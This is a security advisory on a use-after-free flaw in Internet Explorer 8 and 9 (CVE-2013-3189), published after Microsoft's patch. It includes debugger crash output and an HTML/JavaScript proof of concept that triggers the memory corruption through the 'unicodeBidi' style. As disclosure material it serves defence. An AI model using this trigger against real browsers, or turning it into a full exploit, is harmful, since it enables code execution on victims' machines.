security-assessment.com

Vulnerability Advisory

Name	Microsoft Internet Explorer 'UnicodeBidi' Use-After-Free Vulnerability (MS13-059)
CVE	CVE-2013-3189
Vendor Website	http://www.microsoft.com/
Date Released	13/08/2013
Affected Software	Microsoft Internet Explorer 8, Microsoft Internet Explorer 9
Researchers	Scott Bell

Description

A memory corruption vulnerability was identified in Microsoft Internet Explorer 8 and Microsoft Internet Explorer 9. This allows a malicious user to remotely execute arbitrary code on a vulnerable user's machine, in the context of the current user.

When CSS unicode styling is performed on a CElement ('<s>') it causes a use-after-free condition. This is caused by Internet Explorer failing to processes the 'unicodeBidi' style when the CElement's innerHTML contains HTML-encoded text. When the 'unicodeBidi' style is applied the CElement is freed. This node is then re-accessed when a DOM re-layout is performed at which point the pointer is free and the crash occurs.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.

The following table shows some cursory debug information. A call to EDX is made which points to invalid memory.

Debug Information

```
(718.16c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=3d3e00b0 ebx=001d7818 ecx=00000028 edx=00000000 esi=025d9c80 edi=00000000
eip=3cf76bc0 esp=025d9c54 ebp=025d9c6c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc:
3cf76bc0 8b01            mov     eax,dword ptr [ecx]  ds:0023:00000028=????????
1:025> u
mshtml!CElement::Doc:
3cf76bc0 8b01            mov     eax,dword ptr [ecx]
3cf76bc2 8b5070          mov     edx,dword ptr [eax+70h]
3cf76bc5 ffd2            call    edx
3cf76bc7 8b400c          mov     eax,dword ptr [eax+0Ch]
3cf76bca c3              ret
3cf76bcb 90              nop
3cf76bcc 90              nop
3cf76bcd 90              nop
1:025> k
ChildEBP RetAddr
025d9c50 3cf14a41 mshtml!CElement::Doc
025d9c6c 3cf14caa mshtml!CTreeNode::ComputeFormats+0xb9
025d9f1c 3cf2992c mshtml!CTreeNode::ComputeFormatsHelper+0x44
```

```
025d9f20 3cf298fc mshtml!CTreeNode::GetCharFormatIndexHelper+0x7
025d9f9c 3d03ca3f mshtml!CTreeNode::GetCharFormatHelper+0xa
025da054 3d03bdb8 mshtml!Ptls5::LsCloseCurrentBorder+0x7bc
025da08c 3d03cb42 mshtml!Ptls5::LsFinishSublineCore+0xc1
025da0bc 3d03c60c mshtml!Ptls5::LsProcessOneRun+0x33
025da15c 3d35a4f5 mshtml!Ptls5::LsFetchAppendEscCore+0x24e
025da1d4 3d35b14c mshtml!Ptls5::LsFetchAppendToCurrentSublineResume+0x13a
025da23c 3d3569b4 mshtml!Ptls5::LsFormatSubline+0x7c
025da2cc 3d356ade mshtml!Ptls5::LsGetInlineBlockLsimethods+0x3d6
025da2e4 3d03ca9c mshtml!Ptls5::LsAutonumCreateLNObj+0x30
025da394 3d03cc24 mshtml!Ptls5::LsCloseCurrentBorder+0x8ce
025da3f4 3d03cb7f mshtml!Ptls5::LsFinishSublineCore+0x296
025da410 3d03c60c mshtml!Ptls5::LsProcessOneRun+0x6b
025da4b0 3d35a4f5 mshtml!Ptls5::LsFetchAppendEscCore+0x24e
025da528 3d35b14c mshtml!Ptls5::LsFetchAppendToCurrentSublineResume+0x13a
025da590 3d3569b4 mshtml!Ptls5::LsFormatSubline+0x7c
025da620 3d356ade mshtml!Ptls5::LsGetInlineBlockLsimethods+0x3d6
025da638 3d03ca9c mshtml!Ptls5::LsAutonumCreateLNObj+0x30
025da6e8 3d03cc24 mshtml!Ptls5::LsCloseCurrentBorder+0x8ce
025da748 3d03cb7f mshtml!Ptls5::LsFinishSublineCore+0x296
025da764 3d03c60c mshtml!Ptls5::LsProcessOneRun+0x6b
025da804 3d03c4b4 mshtml!Ptls5::LsFetchAppendEscCore+0x24e
025da874 3d03c41a mshtml!Ptls5::FDnodeHasBorderWord+0x4d4
025da8a4 3d030421 mshtml!Ptls5::LsFormatMainLine+0x1cf
025daa84 3d038a6a mshtml!Ptls5::LsCreateLineCore+0x3ea
025daac4 3d15ccca mshtml!Ptls5::LsCreateLine+0x30
025dab40 3d039234 mshtml!CLsClient::CreateLine+0x160
025dab5c 3d0391c3 mshtml!CLsClient::CreateLineForFormatting+0x70
025dabcc 3d038b24 mshtml!CPtsTextParaclient::FormatLine+0x135
025dac70 3d033655 mshtml!Ptls5::FsUpdateLineReuse+0x24d
025dad54 3d04a0f4 mshtml!Ptls5::FsFormatLineBubble+0x52c
025dae2c 3d034ea9 mshtml!Ptls5::FsFormatTextSimple+0x1c7
025daf7c 3d01a1b6 mshtml!Ptls5::FsGetFEmptyTextParaEndedWithLbcNilWord+0xfd9
025dafd0 3d01d43c mshtml!Ptls5::FsDuplicateParaFormatResult+0x2be
025db078 3d01faf1 mshtml!Ptls5::FsFormatOrReusePara+0x400
025db14c 3d01eff7 mshtml!Ptls5::FsDestroyBrtrackElements+0x25d
025db260 3d01edfb mshtml!Ptls5::FsFormatDelayedParas+0x1b2d
025db2ac 3d0181b8 mshtml!Ptls5::FsFillTrackMainFlow+0x40
025db40c 3d02131b mshtml!Ptls5::FsFillTrack+0x2ec
025db48c 3d01a1b6 mshtml!Ptls5::FsFormatParaTrelPost+0x841
025db4e0 3d01d43c mshtml!Ptls5::FsDuplicateParaFormatResult+0x2be
025db588 3d01faf1 mshtml!Ptls5::FsFormatOrReusePara+0x400
025db65c 3d01eff7 mshtml!Ptls5::FsDestroyBrtrackElements+0x25d
025db770 3d01edfb mshtml!Ptls5::FsFormatDelayedParas+0x1b2d
025db7bc 3d0181b8 mshtml!Ptls5::FsFillTrackMainFlow+0x40
025db91c 3d02131b mshtml!Ptls5::FsFillTrack+0x2ec
025db99c 3d01a1b6 mshtml!Ptls5::FsFormatParaTrelPost+0x841
025db9f0 3d01d43c mshtml!Ptls5::FsDuplicateParaFormatResult+0x2be
025dba98 3d01faf1 mshtml!Ptls5::FsFormatOrReusePara+0x400
025dbb6c 3d01eff7 mshtml!Ptls5::FsDestroyBrtrackElements+0x25d
025dbc80 3d01edfb mshtml!Ptls5::FsFormatDelayedParas+0x1b2d
025dbccc 3d0181b8 mshtml!Ptls5::FsFillTrackMainFlow+0x40
025dbe2c 3d02131b mshtml!Ptls5::FsFillTrack+0x2ec
025dbeac 3d01a1b6 mshtml!Ptls5::FsFormatParaTrelPost+0x841
025dbf00 3d01d43c mshtml!Ptls5::FsDuplicateParaFormatResult+0x2be
025dbfa8 3d01faf1 mshtml!Ptls5::FsFormatOrReusePara+0x400
025dc07c 3d01eff7 mshtml!Ptls5::FsDestroyBrtrackElements+0x25d
025dc190 3d01edfb mshtml!Ptls5::FsFormatDelayedParas+0x1b2d
025dc1dc 3d0181b8 mshtml!Ptls5::FsFillTrackMainFlow+0x40
025dc33c 3d01ffc3 mshtml!Ptls5::FsFillTrack+0x2ec
025dc3b0 3d01f5fe mshtml!Ptls5::FsFillTrackWraper+0xda
025dc46c 3d01f528 mshtml!Ptls5::FsConductCensusSpanLayout+0x1b6
```

```
025dc4c8 3d01f487 mshtml!Ptls5::FsConductCensusSpanLayout+0x41c
025dc500 3d01c771 mshtml!Ptls5::FsFillLayoutWithSpanAreas+0x219
025dc61c 3d01c4a2 mshtml!Ptls5::FsCreateSubpageCore+0x45c
025dc64c 3d01ceb3 mshtml!Ptls5::FsCreateSubpage+0x82
025dc70c 3d0199d9 mshtml!Ptls5::FsGetSavedPel+0x6ce
025dc82c 3d01b1aa mshtml!Ptls5::FsFormatPelCore+0x73d
025dc900 3d01b6e0 mshtml!Ptls5::FsAdjustPageVertical+0x58e
025dc9a0 3d01a1b6 mshtml!Ptls5::FsAdjustPageVertical+0x15cb
025dc9f4 3d01d43c mshtml!Ptls5::FsDuplicateParaFormatResult+0x2be
025dca9c 3d01faf1 mshtml!Ptls5::FsFormatOrReusePara+0x400
025dcb70 3d01eff7 mshtml!Ptls5::FsDestroyBrtrackElements+0x25d
025dcc84 3d01edfb mshtml!Ptls5::FsFormatDelayedParas+0x1b2d
025dccd0 3d0181b8 mshtml!Ptls5::FsFillTrackMainFlow+0x40
025dce30 3d01ffc3 mshtml!Ptls5::FsFillTrack+0x2ec
025dcea4 3d01f5fe mshtml!Ptls5::FsFillTrackWraper+0xda
025dcf60 3d025808 mshtml!Ptls5::FsConductCensusSpanLayout+0x1b6
025dd048 3d026d01 mshtml!Ptls5::FsFormatMathParaInGivenRectangleFiniteMain+0x125c
025dd07c 3d027bac mshtml!Ptls5::FsFormatMathParaInGivenRectangleFiniteMain+0x14b5
025dd0c4 3d027a5c mshtml!Ptls5::FsFillMultiColumnLayout+0xab
025dd1a4 3d0279c5 mshtml!Ptls5::FsDestroySpanLayoutContent+0x160
025dd1ec 3d0277e0 mshtml!Ptls5::FsFillLayoutWithSpanAreas+0x213
025dd238 3d0265bc mshtml!Ptls5::FsConductCensusGeneralSection+0x152
025dd3ac 3d02645d mshtml!Ptls5::FsFormatGeneralSection+0xee
025dd418 3d0262cd mshtml!Ptls5::FsFormatSection+0x111
025dd4f8 3d0268e6 mshtml!Ptls5::FsDestroyPageBodyBreakRecord+0x279
025dd63c 3d02716c mshtml!Ptls5::FsFormatPageBody+0x1d7
025dd774 3d045b6d mshtml!Ptls5::FsCreatePageBottomlessCore+0x262
025dd798 3d045b1a mshtml!Ptls5::FsUpdateBottomlessPage+0x71
025dd83c 3d01bdee mshtml!CCssDocumentLayout::GetPage+0x54d
025dd9ac 3cf5bf37 mshtml!CCssPageLayout::CalcSizeVirtual+0x254
025ddae4 3cf6eaee mshtml!CLayout::CalcSize+0x2b8
025ddbe4 3d0ee027 mshtml!CLayout::DoLayout+0x11d
025ddc20 3cf7e82f mshtml!CView::ExecuteLayoutTasks+0x41
025ddc64 3cf8a8c8 mshtml!CView::EnsureView+0x353
025ddc8c 3cf8a639 mshtml!CView::EnsureViewCallback+0xd2
025ddcc0 3cf75328 mshtml!GlobalWndOnMethodCall+0xfb
025ddce0 7e418734 mshtml!GlobalWndProc+0x183
025ddd0c 7e418816 USER32!InternalCallWinProc+0x28
025ddd74 7e4189cd USER32!UserCallWinProcCheckWow+0x150
025dddd4 7e418a10 USER32!DispatchMessageWorker+0x306
025ddde4 3e2ec1dd USER32!DispatchMessageW+0xf
025dfeec 3e2932ef IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c
025dffa4 3e137e91 IEFRAME!LCIETab_ThreadProc+0x2c1
025dffb4 7c80b729 iertutil!CIsoScope::RegisterThread+0xab
025dffec 00000000 kernel32!BaseThreadStart+0x37
```

The following HTML proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<!DOCTYPE HTML>
<html>
<head>
<script>
function boom() {
	// Setup object
	var s = document.createElement('s')
	s.innerHTML = "&#8236;"

	// Setup outer object
	var ol = document.createElement('ol')
```

```
        ol.contentEditable = "true"

        // Glue to DOM
        ol.appendChild(s)
        document.body.appendChild(ol)

        // Free
        setTimeout(function(){
                s.style.unicodeBidi = "embed"
        }, 100)

        // Force reflow
        setTimeout(function(){
                document.body.innerHTML += "a"
        }, 500)
}
</script>
</head>
<body onload="setTimeout('boom()', 500)">
</body>
</html>
```

Solution

Microsoft validated this security issue in Internet Explorer 8 and issued a patch (MS13-059) to remedy it. Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 460 2596